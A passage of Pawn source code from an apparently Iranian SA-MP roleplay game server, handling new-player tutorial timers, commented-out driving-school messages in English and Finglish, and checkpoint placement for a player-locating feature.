				//SCM(i, COLOR_WHITE, " ");
				SetPlayerSpawn(i);
				SetPlayerVirtualWorld(i, 0);
				SetCameraBehindPlayer(i);
				TogglePlayerControllable(i, 1);
				SetPlayerKoon(true, i,100);
				SetPlayerPos(i,1641.9963,-2239.7080,13.4964);
				//SCM(i,COLOR_YELLOW,"Moalem: khob, khosh oomadi be in server, man komaket mikonam ta dar in server lahzate khoshi ro dashte bashi.");
				//SCM(i,COLOR_YELLOW,"Moalem: behtare ke aval beri va govahiname ranandegito begiri ta betooni savare mashin va motor ha beshi.");
				//SCM(i,COLOR_YELLOW,"Moalem: man behet ye Checkpoint midam ta betooni amoozeshgahe ranandegi ro peida koni, be dakhele checkpoint boro.");
					new payam[512];
					format(payam, sizeof(payam), "Be %s %s khosh oomadi azizam. Man ghasde rahnamayie toro daram, ba man hamrah sho.\n\nAvval boro govahinameye ranandegi begir ta betooni savare khodro ha shi.\n\nBoro be noghteyi ke rooye naghshe hast.", SERVER_NAME1, SERVER_NAME2);
					ShowPlayerDialog(i, 9952, DIALOG_STYLE_MSGBOX, "Rahnama", payam, "Cancel","");
					//TextDrawSetString(i, shacklog, "~w~Be noghteye ~r~ghermeze~w~ dakhele naghshe boro");
					SetPlayerScore(i, PINFO[i][pLevel]);
					LoggTIME[i] = SetTimerEx("shack", 300, false, "i", i);
                    DonerZ2[i] = SetTimerEx("DonerZz2", 7000, false, "i", i);
                new crdNum=RandomShomare(100000000,999999999);
				PlayerInfo[i][pNCNum] = crdNum;
				SaveKonVal(i, "pNCNum", crdNum);
				OnCheckpoint[i] = 1;
				CP[i] = 94531;
				SetPlayerCheckpoint(i,1641.388671,-2177.379638,13.554687,4);
				SetPlayerVirtualWorld(i, 0);
				PlayerInfo[i][pTut] = 1;
				SaveKonVal(i, "pTut", 1);
				gOoc[i] = 0; gNews[i] = 0; gFam[i] = 0;
				HealthAllowedForPlayer[i] = 1;
				AntiKoonHack[i] = SetTimerEx("KoonTimer",2000,1,"i",i);


			 }
	   //    }
		  if(TutTime1[i] >= 1)
		  {
			 TutTime1[i] += 1;
			 SetPlayerKoon(true, i,100);
			 HealthAllowedForPlayer[i] = 0;
		  /*    if(TutTime1[i] == 3)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, 1847.3835, -1279.1182, 162.2873);
				SetPlayerCameraLookAt(i, 1847.2848, -1280.1263, 161.7025);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}The Beginning{FFFF00}_____|");
			 }
			 else if(TutTime1[i] == 6)
			 {
				SendMessage(i, COLOR_TUT96, "Hello there, I see you're new, we'll show you a quick Tutorial.");
				SendMessage(i, COLOR_TUT96, "Firstly, all new players need to know what should or shouldn't on this server.");
				SendMessage(i, COLOR_TUT96, "We'll give you some information, so please pay attention to avoid additional questions.");
			 }
			 else if(TutTime1[i] == 18)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, 1847.3835, -1279.1182, 162.2873);
				SetPlayerCameraLookAt(i, 1847.2848, -1280.1263, 161.7025);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}About Server{FFFF00}_____|");
			 }
			 else if(TutTime1[i] == 21)
			 {
				SendMessage(i, COLOR_TUT96, "This server is a RolePlay.");
				SendMessage(i, COLOR_TUT96, "We don't accept players who don't respect the rules or come here for DeathMach");
				SendMessage(i, COLOR_TUT96, "The name that you have chosen matters a lot, each player can choose what name he/she likes.");
				SendMessage(i, COLOR_TUT96, "We recommend you to choose legible name like: Andrew, Thomas, Matt.");
				SendMessage(i, COLOR_TUT96, "If you want to know more about RPG, visit our forum.");
				SendMessage(i, COLOR_TUT96, "(You can find the forum on our webpage: http://Www.Azin Game.iR)");
			 }
			 else if(TutTime1[i] == 36)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, 1847.3835, -1279.1182, 162.2873);
				SetPlayerCameraLookAt(i, 1847.2848, -1280.1263, 161.7025);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Help{FFFF00}_____|");
			 }
			 else if(TutTime1[i] == 39)
			 {
				SendMessage(i, COLOR_TUT96, "If you're confused and you would like to know more information, ask a player or a helper(/helpers).");
				SendMessage(i, COLOR_TUT96, "Use common sentences like: 'Hey, can you help me?'.");
				SendMessage(i, COLOR_TUT96, "Don't start shout at someone, because it will make you lock bad.");
				SendMessage(i, COLOR_TUT96, "Use commands /call or /sms (if you have cellphone) to talk with someone.");
				SendMessage(i, COLOR_TUT96, "You can also access our forum (http://Www.Azin Game.iR) to receive more help.");
			 }
			 else if(TutTime1[i] == 56)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, 1847.3835, -1279.1182, 162.2873);
				SetPlayerCameraLookAt(i, 1847.2848, -1280.1263, 161.7025);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Job's{FFFF00}_____|");
			 }
			 else if(TutTime1[i] == 59)
			 {
				SendMessage(i, COLOR_TUT96, "If you want to earn money you must have a job.");
				SendMessage(i, COLOR_TUT96, "On this server you can have two type of jobs, one primary and one secondary.");
				SendMessage(i, COLOR_TUT96, "Primay job's:(you must make an application on the forum and requires a certain level for each faction).");
				SendMessage(i, COLOR_TUT96, "Level 3+: Fireman/Paramedic, News Reports, School Instructor, Tow Car Company or Taxi Drive.");
				SendMessage(i, COLOR_TUT96, "Level 5+(Families): Member Triads, Grove Street, Varrios Los Aztecas, Da Nang Boys, Top Boys, Vagos or The Ballas.");
				SendMessage(i, COLOR_TUT96, "Level 10: Police Departament, FBI, National Guard, SFPD or Hitman Agency. ");
				SendMessage(i, COLOR_TUT96, "Secondary Job's: Detective, Lawyer, Car Mechanic, Drugs Dealer, Arms Dealer, Bus Drive , Trucker , Farmer, Garbageman");
			 }
			 else if(TutTime1[i] == 80)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, 1847.3835, -1279.1182, 162.2873);
				SetPlayerCameraLookAt(i, 1847.2848, -1280.1263, 161.7025);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Level{FFFF00}_____|");
			 }
			 else if(TutTime1[i] == 83)
			 {
				SendMessage(i, COLOR_TUT96, "As a RolePlay server, you can increase your level by staying online.");
				SendMessage(i, COLOR_TUT96, "To level up need a certain number or Respect Points.");
				SendMessage(i, COLOR_TUT96, "You earn a Respect Point every PayDay (it comes after 60 minutes).");
				SendMessage(i, COLOR_TUT96, "To see how many points you need, you have to write /stats and look at the 'Respect: x/x'.");
				SendMessage(i, COLOR_TUT96, "When you reach the required number of points then you should write /buylevel to do level up (it will cost a some of money). ");
			 }
			 else if(TutTime1[i] == 101)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, 1847.3835, -1279.1182, 162.2873);
				SetPlayerCameraLookAt(i, 1847.2848, -1280.1263, 161.7025);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Cheats{FFFF00}_____|");
			 }
			 else if(TutTime1[i] == 104)
			 {
				SendMessage(i, COLOR_TUT96, "It is a forbbiden to use hackings applications.");
				SendMessage(i, COLOR_TUT96, "If you see someone who uses hacks, notify us by using /report.");
				SendMessage(i, COLOR_TUT96, "Those who are using hacks will be banned permanently.");
				SendMessage(i, COLOR_TUT96, "Do not forget! Anti-Cheat system works and you will receive permanent ban if you get caught.");
			 }
			 else if(TutTime1[i] == 116)
			 {
				SetPlayerInterior(i, 0);
				SetPlayerPos(i, 1611.612548,-2177.123779,13.554687);
				SetPlayerFacingAngle(i, 3.41);
				SetPlayerCameraPos(i, 1847.3835, -1279.1182, 162.2873);
				SetPlayerCameraLookAt(i, 1847.2848, -1280.1263, 161.7025);
				SetPlayerVirtualWorld(i, (i + 1));
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Language{FFFF00}_____|");
			 }
			 else if(TutTime1[i] == 119)
			 {
				SendMessage(i, COLOR_TUT96, "Every player must speak in Persian or English.");
				SendMessage(i, COLOR_TUT96, "If you want talk other language then use /b.");
				SendMessage(i, COLOR_TUT96, "Do not used capital letters and please write correctly.");
				SendMessage(i, COLOR_TUT96, "Also, you are not allowed to use nasty words.");
				SendMessage(i, COLOR_TUT96, "Advertisments of other servers will get you to permanent ban.");
			 }
			 else if(TutTime1[i] == 131)
			 {
				SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}The End{FFFF00}_____|");
			 }
			 else if(TutTime1[i] == 134)
			 {
				SendMessage(i, COLOR_TUT96, "I hope you understand what is RolePlay about.");
				SendMessage(i, COLOR_TUT96, "We still want to remember you that you have to read our rules(/rules).");
				SendMessage(i, COLOR_TUT96, "Azin Game wishes you have fun!");
				PlayerInfo[i][pTut] = 1;
				SaveKonVal(i, "pTut", 1);
			 }
			 else if(TutTime1[i] == 141)
			 {
				*/
			 MedicBill[i] = 0;
			 SCM(i, COLOR_WHITE, " ");
			 TutTime1[i] = 0;
			 TogglePlayerSpectating(i, 0);
			 ResetPlayerKolang(i);
			 SetSpawnKol(i);
			 SpawnPlayer(i);
				SetPlayerSpawn(i);
				SetPlayerVirtualWorld(i, 0);
				SetCameraBehindPlayer(i);
				TogglePlayerControllable(i, 1);
				SetPlayerKoon(true, i,100);
				PlayerInfo[i][pLevel] = 1;
				SaveKonVal(i, "pLevel", 1);
				//SaveAccount(i);
				//SCM(i,COLOR_YELLOW,"Helper: Well, I'll help you in this game and i hope you have a good time.");
				//SCM(i,COLOR_YELLOW,"Helper: First, you'd better go and get a driver's license,So you can ride Motorcycle or cars.");
				//SCM(i,COLOR_YELLOW,"Helper: I'll give you a Checkpoint to go to driving school and get a driver's license, Follow the checkpoint.");
					new payam[512];
					format(payam, sizeof(payam), "Welcome to %s %s dear. I want to help you, follow me.\n\nFirst go and take a driver license for driving cars and bicycles.\n\nGo to red dot on your map.", SERVER_NAME1, SERVER_NAME2);
					ShowPlayerDialog(i, 9952, DIALOG_STYLE_MSGBOX, "Instructor", payam, "Cancel","");
					SetPlayerScore(i, PINFO[i][pLevel]);
					LoggTIME[i] = SetTimerEx("shack", 300, false, "i", i);
                    DonerZ[i] = SetTimerEx("DonerZz", 7000, false, "i", i);
                new crdNum=RandomShomare(100000000,999999999);
				PlayerInfo[i][pNCNum] = crdNum;
				SaveKonVal(i, "pNCNum", crdNum);
				OnCheckpoint[i] = 1;
				CP[i] = 94532;
				SetPlayerCheckpoint(i,1641.388671,-2177.379638,13.554687,4);
				SetPlayerVirtualWorld(i, 0);
			 gOoc[i] = 0; gNews[i] = 0; gFam[i] = 0;
			 HealthAllowedForPlayer[i] = 1;
			 AntiKoonHack[i] = SetTimerEx("KoonTimer",2000,1,"i",i);
			// }
		  }
		 /*if(DMVPrepare[i] >= 1)
		  {
			 DMVPrepare[i] += 1;
			 if(DMVPrepare[i] == 2)
			 {
if(PlayerInfo[i][pLanguage] == 2)
{
new ali = random(sizeof(gSpawn));
TogglePlayerControllable(i, 0);
SetPlayerPos(i,gSpawn[ali][0],gSpawn[ali][1],gSpawn[ali][2]);
endchair(i);
SetPlayerFacingAngle( i, 90 );
SetCameraBehindPlayer(i);
				SendMessage(i,COLOR_YELLOW,"|______ {FFFFFF}DMV {FFFF00}_____| ");
				SendMessage(i,COLOR_LIGHTBLUE,"Welcome To DMV.");
				SendMessage(i,COLOR_WHITE,"Please listen to The Instructor.");
			 }
else if(PlayerInfo[i][pLanguage] == 1)
{
new ali = random(sizeof(gSpawn));
TogglePlayerControllable(i, 0);
SetPlayerPos(i,gSpawn[ali][0],gSpawn[ali][1],gSpawn[ali][2]);
endchair(i);
SetPlayerFacingAngle( i, 90 );
SetCameraBehindPlayer(i);
//SendMessage(i,COLOR_YELLOW,"|______ {FFFFFF}amoozeshgah {FFFF00}_____| ");
				//SendMessage(i,COLOR_LIGHTBLUE,"Be DMV khosh oomadi.");
				//SendMessage(i,COLOR_WHITE,"Lotfan be harf haye Moalem goosh dahid.");

					new payam[512];
					format(payam, sizeof(payam), "Be DMV khosh oomadi. \n\n Lotfan be harf haye moalem goosh kon ta be movafaghiat beresi.");
					ShowPlayerDialog(playerid, 9952, DIALOG_STYLE_MSGBOX, "Moalem", payam, "Cancel","");
}
}
			 else if(DMVPrepare[i] == 6)
			 {
if(PlayerInfo[i][pLanguage] == 2)
{
				SendMessage(i,COLOR_LIGHTGREEN,"|______ Instructor _____| ");
				SendMessage(i,COLOR_LIGHTBLUE,"You must driving at Right Street.");
				SendMessage(i,COLOR_WHITE,"When right street was Blocked You can Drive at Left street.");
				SendMessage(i,COLOR_LIGHTBLUE,"You can cross the road without lights because they are too long.");
				SendMessage(i,COLOR_WHITE,"You can not drive fast in the streets and other places, you may be fined or your license will be confiscated.");
				   SendMessage(i,COLOR_LIGHTBLUE,"If any Player damage your car Use /call 110");
			 }
else if(PlayerInfo[i][pLanguage] == 1)
{
SendMessage(i,COLOR_LIGHTGREEN,"|______ Moalem _____| ");
				SendMessage(i,COLOR_LIGHTBLUE,"Salam, omid varam ke haletoon khoob bashad, khob Shoma bayad hamishe dar khiabane samte rast ranandegi konid.");
				SendMessage(i,COLOR_WHITE,"Vaghti khiabane samte rast baste bood shoma mitavanid dar samte chap harekat konid.");
				SendMessage(i,COLOR_LIGHTBLUE,"Shoma mitoonid az cheragh ghermez ha rad beshid, zira cheragh ha kheili toolani hastan.");
				SendMessage(i,COLOR_WHITE,"Shoma nemitavanid sari ranandegi konid, vagarna govahiname shoma tavasote police gerefte mishavad.");
				   SendMessage(i,COLOR_LIGHTBLUE,"Agar kasi mashine shomara daghoon kard be police zang bezanid.(/call 110)");
}
}
			 else if(DMVPrepare[i] == 23)
			 {
if(PlayerInfo[i][pLanguage] == 2)
{
				SendMessage(i,COLOR_LIGHTGREEN,"|______ Instructor _____| ");
				SendMessage(i,COLOR_LIGHTBLUE,"When a cop tells you to stop your car, you must stop your car and leave your car.");
				SendMessage(i,COLOR_WHITE,"You have to respect cops and authorization them to go first at streets and ways.");
				SendMessage(i,COLOR_LIGHTBLUE,"You can use nitro, but just when you had a permission of cops and at normal times you not allowed to use this.");
				SendMessage(i,COLOR_WHITE,"Remember, you can get arrested and your license is blocked for illegal racing.");
			 }
else if(PlayerInfo[i][pLanguage] == 1)
{
SendMessage(i,COLOR_LIGHTGREEN,"|______ Moalem _____| ");
				SendMessage(i,COLOR_LIGHTBLUE,"Agar police be shoma goft ke beistid shoma bayad tavaqof konid va mashine khod ra tark konid va be samte police beravid.");
				SendMessage(i,COLOR_WHITE,"Shoma bayad be police ehteran bezarid va be oo haghe taghadom dahid.");
				SendMessage(i,COLOR_LIGHTBLUE,"Shoma ejaze nadarid ke az nitro estefade konid, be estesna ba hamahngi police.");
				SendMessage(i,COLOR_WHITE,"Agar shoma be mosabeghate gheire ghanooni beravid, shoma dastgir mishavid.");
}
}
			 else if(DMVPrepare[i] == 36)
			 {
if(PlayerInfo[i][pLanguage] == 2)
{
				 SendMessage(i,COLOR_LIGHTGREEN,"|______ Instructor _____| ");
				SendMessage(i,COLOR_LIGHTBLUE,"If someone stole your car use /call 110.");
				SendMessage(i,COLOR_WHITE,"If you have an accident, use /service medic.");
				SendMessage(i,COLOR_LIGHTBLUE,"You can not stop in the street.");
			 }
else if(PlayerInfo[i][pLanguage] == 1)
{
SendMessage(i,COLOR_LIGHTGREEN,"|______ Moalem _____| ");
				SendMessage(i,COLOR_LIGHTBLUE,"Agar mashine shomara dozdidand ba police tamas begirid.(/call 110)");
				SendMessage(i,COLOR_WHITE,"Agar shoma tasadof kardid ya dochare havadesi shodid ba pezeshk dar tamas bashid.(/service medic)");
				SendMessage(i,COLOR_LIGHTBLUE,"Shoma nemitavanid dar khiaban tavaqof konid.");
}
}
			 else if(DMVPrepare[i] == 46)
			 {
if(PlayerInfo[i][pLanguage] == 2)
{
				SendMessage(i,COLOR_LIGHTGREEN,"|______ Instructor _____| ");
				SendMessage(i,COLOR_LIGHTBLUE,"Speeds:Allowed speed In city is 100km/h in Out of city is 160km/h.");
				SendMessage(i,COLOR_WHITE,"Be cerfule when you Broke your Speed Cops can ticket you or take your license.");
				SCM(i,COLOR_LIGHTBLUE,"Use /speedlimit <Max speed> to enable your speed limit.");
				DMVPrepare[i] = 0;
		  TogglePlayerControllable(i, 1);
		  DMVT[i] = 0;
			 }
else if(PlayerInfo[i][pLanguage] == 1)
{
 SendMessage(i,COLOR_LIGHTGREEN,"|______ Moalem _____| ");
				SendMessage(i,COLOR_LIGHTBLUE,"Sorat: shoma mitavanid dar shahr 100km/h beravid va khareje shahr 160km/h berabid.");
				SendMessage(i,COLOR_WHITE,"Movazeb bashid, agar shoma be nokate ranandegi tavajoh nakonid va sorat gheire mojaz raftid police govahiname shomara migirad.");
				SCM(i,COLOR_LIGHTBLUE,"Shoma mitoonid az /speedlimit <Max speed> estefade konid baraye mahdood kardane sorate khodetoon dar vasile naghlie khodetoon.");
		  DMVPrepare[i] = 0;
		  TogglePlayerControllable(i, 1);
		  DMVT[i] = 0;

}

		  }
}*/
		  if(PlayerTazeTime[i] >= 1)
		  {
			 PlayerTazeTime[i] += 1;
			 if(PlayerTazeTime[i] == 15)
			 {
				PlayerTazeTime[i] = 0;
			 }
			 else
			 {
return 1;
			 }
		  }
		  if(PlayerInfo[i][pCarTime] > 0)
		  {
			 if(PlayerInfo[i][pCarTime] <= 0)
			 {
				PlayerInfo[i][pCarTime] = 0;
			 }
			 else
			 {
				PlayerInfo[i][pCarTime] -= 1;
			 }
		  }
//-------------------------------------------------------
		  if(FindTime[i] > 0)
		  {
		  if(!IsPlayerConnected(FindAccepted[i]))
		  {
		  FindTime[i] = 0; FindTimePoints[i] = 0; DisablePlayerCheckpoint(i); OnCheckpoint[i] = 0; PlayerPlaySound(i, 1056, 0.0, 0.0, 0.0); GameTextForPlayer(i, "~r~RedMarker gone", 2500, 1); SCM(i,COL_SYN,"Target left the server.");
		  PlayerTextDrawHide(i, DistanceTD[i]);
			}
		  if(IsPlayerConnected(FindAccepted[i]))
		  {
			new Float: pDistance;
		  OnCheckpoint[i] = 1;
   if(Mahal[FindAccepted[i]] == 1)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1310.126586,-1367.812255,13.540800);
		  SetPlayerCheckpoint(i,1310.126586,-1367.812255,13.540800,5);
		  }
		  if(Mahal[FindAccepted[i]] == 2)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,-1039.009643, -571.915527, 32.835742);
		  SetPlayerCheckpoint(i,-1039.009643, -571.915527, 32.835742,5);
		  }
		  if(Mahal[FindAccepted[i]] == 3 && TooHouse[FindAccepted[i]] != 9999)
		  {
		  new house = TooHouse[FindAccepted[i]];
			pDistance = GetPlayerDistanceFromPoint(i,HouseInfo[house][hExitx],HouseInfo[house][hExity],HouseInfo[house][hExitz]);
		  SetPlayerCheckpoint(i,HouseInfo[house][hExitx],HouseInfo[house][hExity],HouseInfo[house][hExitz],5);
		  }

		  if(Mahal[FindAccepted[i]] == 4)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1481.0289,-1770.9703,18.7958);
		  SetPlayerCheckpoint(i,1481.0289,-1770.9703,18.7958,5);
		  }
		  if(Mahal[FindAccepted[i]] == 5)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1554.9100,-1675.6428,16.1953);
		  SetPlayerCheckpoint(i,1554.9100,-1675.6428,16.1953,5);
		  }
		  if(Mahal[FindAccepted[i]] == 6)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2287.0576,2432.1121,10.8203);
		  SetPlayerCheckpoint(i,2287.0576,2432.1121,10.8203,5);
		  }
		  if(Mahal[FindAccepted[i]] == 7)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,725.5550,-1451.0232,17.6953);
		  SetPlayerCheckpoint(i,725.5550,-1451.0232,17.6953,5);
		  }
		  if(Mahal[FindAccepted[i]] == 8)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1455.4546,750.9794,11.0234);
		  SetPlayerCheckpoint(i,1455.4546,750.9794,11.0234,5);
		  }
		  if(Mahal[FindAccepted[i]] == 9)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1456.7424,2773.4614,10.8203);
		  SetPlayerCheckpoint(i,1456.7424,2773.4614,10.8203,5);
		  }
		  if(Mahal[FindAccepted[i]] == 10)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1080.997192,-345.408233,73.984069);
		  SetPlayerCheckpoint(i,1080.997192,-345.408233,73.984069,5);
		  }
		  if(Mahal[FindAccepted[i]] == 11)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2792.930175,-1087.530761,30.718750);
		  SetPlayerCheckpoint(i,2792.930175,-1087.530761,30.718750,5);
		  }
		  if(Mahal[FindAccepted[i]] == 12)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2637.1936,2352.0090,10.8203);
		  SetPlayerCheckpoint(i,2637.1936,2352.0090,10.8203,5);
		  }
		  if(Mahal[FindAccepted[i]] == 13)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1122.7065,-2037.0063,69.8942);
		  SetPlayerCheckpoint(i,1122.7065,-2037.0063,69.8942,5);
		  }
		  if(Mahal[FindAccepted[i]] == 14)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,937.3935,1733.2067,8.8516);
		  SetPlayerCheckpoint(i,937.3935,1733.2067,8.8516,5);
		  }
		  if(Mahal[FindAccepted[i]] == 15 && TooBiz[FindAccepted[i]] != 9999)
		  {
		  new bizw = TooBiz[FindAccepted[i]];
			pDistance = GetPlayerDistanceFromPoint(i,BizzInfo[bizw][bEntranceX],BizzInfo[bizw][bEntranceY],BizzInfo[bizw][bEntranceZ]);
		  SetPlayerCheckpoint(i,BizzInfo[bizw][bEntranceX],BizzInfo[bizw][bEntranceY],BizzInfo[bizw][bEntranceZ],5);
		  }
		  if(Mahal[FindAccepted[i]] == 16)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2421.4998,-1219.2438,25.56175);
		  SetPlayerCheckpoint(i,2421.4998,-1219.2438,25.56175,5);
		  }
		  if(Mahal[FindAccepted[i]] == 17)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2229.9011,-1721.2582,13.5613);
		  SetPlayerCheckpoint(i,2229.9011,-1721.2582,13.5613,5);
		  }
		  if(Mahal[FindAccepted[i]] == 18)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2577.4768,1325.4229,10.8203);
		  SetPlayerCheckpoint(i,2577.4768,1325.4229,10.8203,5);
		  }
		  if(Mahal[FindAccepted[i]] == 19)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1461.695, -1011.915, 26.84375);
		  SetPlayerCheckpoint(i,1461.695, -1011.915, 26.84375,5);
		  }
		  if(Mahal[FindAccepted[i]] == 20)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2436.9211,1734.6388,10.8203);
		  SetPlayerCheckpoint(i,2436.9211,1734.6388,10.8203,5);
		  }
		  if(Mahal[FindAccepted[i]] == 21)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1599.1802,2221.7549,11.0625);
		  SetPlayerCheckpoint(i,1599.1802,2221.7549,11.0625,5);
		  }
		  if(Mahal[FindAccepted[i]] == 22)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2188.0947,2469.6829,11.2422);
		  SetPlayerCheckpoint(i,2188.0947,2469.6829,11.2422,5);
		  }
		  if(Mahal[FindAccepted[i]] == 23)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2097.4456,2224.2317,11.0234);
		  SetPlayerCheckpoint(i,2097.4456,2224.2317,11.0234,5);
		  }
		  if(Mahal[FindAccepted[i]] == 24)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2637.1113,1129.2675,11.1797);
		  SetPlayerCheckpoint(i,2637.1113,1129.2675,11.1797,5);
		  }
		  if(Mahal[FindAccepted[i]] == 25)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1550.5363,1120.4553,10.8203);
		  SetPlayerCheckpoint(i,1550.5363,1120.4553,10.8203,5);
		  }
		  if(Mahal[FindAccepted[i]] == 26)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2150.7559,2733.8718,11.1763);
		  SetPlayerCheckpoint(i,2150.7559,2733.8718,11.1763,5);
		  }
		  if(Mahal[FindAccepted[i]] == 27)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,-19.2424,1175.5189,19.5634);
		  SetPlayerCheckpoint(i,-19.2424,1175.5189,19.5634,5);
		  }
		  if(Mahal[FindAccepted[i]] == 28)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2193.7659,1991.2770,12.2969);
		  SetPlayerCheckpoint(i,2193.7659,1991.2770,12.2969,5);
		  }
		  if(Mahal[FindAccepted[i]] == 29)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2441.1169,2065.3987,10.8203);
		  SetPlayerCheckpoint(i,2441.1169,2065.3987,10.8203,5);
		  }
		  if(Mahal[FindAccepted[i]] == 30)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2308.5569,-1643.9500,14.8270);
		  SetPlayerCheckpoint(i,2308.5569,-1643.9500,14.8270,5);
		  }
		  if(Mahal[FindAccepted[i]] == 31)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2441.1716,2163.5334,10.8203);
		  SetPlayerCheckpoint(i,2441.1716,2163.5334,10.8203,5);
		  }
		  if(Mahal[FindAccepted[i]] == 32)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1352.4738,-1758.7869,13.5078);
		  SetPlayerCheckpoint(i,1352.4738,-1758.7869,13.5078,5);
		  }
		  if(Mahal[FindAccepted[i]] == 33)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1833.4373,-1842.5286,13.5781);
		  SetPlayerCheckpoint(i,1833.4373,-1842.5286,13.5781,5);
		  }
		  if(Mahal[FindAccepted[i]] == 34)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1315.5024,-897.8165,39.5781);
		  SetPlayerCheckpoint(i,1315.5024,-897.8165,39.5781,5);
		  }
		  if(Mahal[FindAccepted[i]] == 35)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1000.1695,-919.9931,42.3281);
		  SetPlayerCheckpoint(i,1000.1695,-919.9931,42.3281,5);
		  }
		  if(Mahal[FindAccepted[i]] == 36)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,-78.5365,-1169.9178,2.1389);
		  SetPlayerCheckpoint(i,-78.5365,-1169.9178,2.1389,5);
		  }
		  if(Mahal[FindAccepted[i]] == 37)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,762.7137,-1792.9973,13.0234);
		  SetPlayerCheckpoint(i,762.7137,-1792.9973,13.0234,5);
		  }
		  if(Mahal[FindAccepted[i]] == 38)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2165.875732,-1671.250000,15.073156);
		  SetPlayerCheckpoint(i,2165.875732,-1671.250000,15.073156,5);
		  }
		  if(Mahal[FindAccepted[i]] == 39)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1199.3704,-918.4752,43.1199);
		  SetPlayerCheckpoint(i,1199.3704,-918.4752,43.1199,5);
		  }
		  if(Mahal[FindAccepted[i]] == 40)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2169.4907,2795.8733,10.8203);
		  SetPlayerCheckpoint(i,2169.4907,2795.8733,10.8203,5);
		  }
		  if(Mahal[FindAccepted[i]] == 41)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,928.3752,-1352.9083,13.3438);
		  SetPlayerCheckpoint(i,928.3752,-1352.9083,13.3438,5);
		  }
		  if(Mahal[FindAccepted[i]] == 42)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,810.8053,-1616.1349,13.5469);
		  SetPlayerCheckpoint(i,810.8053,-1616.1349,13.5469,5);
		  }
		  if(Mahal[FindAccepted[i]] == 43)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2472.7500,2034.2101,11.0625);
		  SetPlayerCheckpoint(i,2472.7500,2034.2101,11.0625,5);
		  }
		  if(Mahal[FindAccepted[i]] == 44)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2083.2698,2224.6626,11.0234);
		  SetPlayerCheckpoint(i,2083.2698,2224.6626,11.0234,5);
		  }
		  if(Mahal[FindAccepted[i]] == 45)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1872.4313,2071.8857,11.0625);
		  SetPlayerCheckpoint(i,1872.4313,2071.8857,11.0625,5);
		  }
		  if(Mahal[FindAccepted[i]] == 46)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2393.2512,2041.7485,10.8203);
		  SetPlayerCheckpoint(i,2393.2512,2041.7485,10.8203,5);
		  }
		  if(Mahal[FindAccepted[i]] == 47)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2102.1255,2228.7788,11.0234);
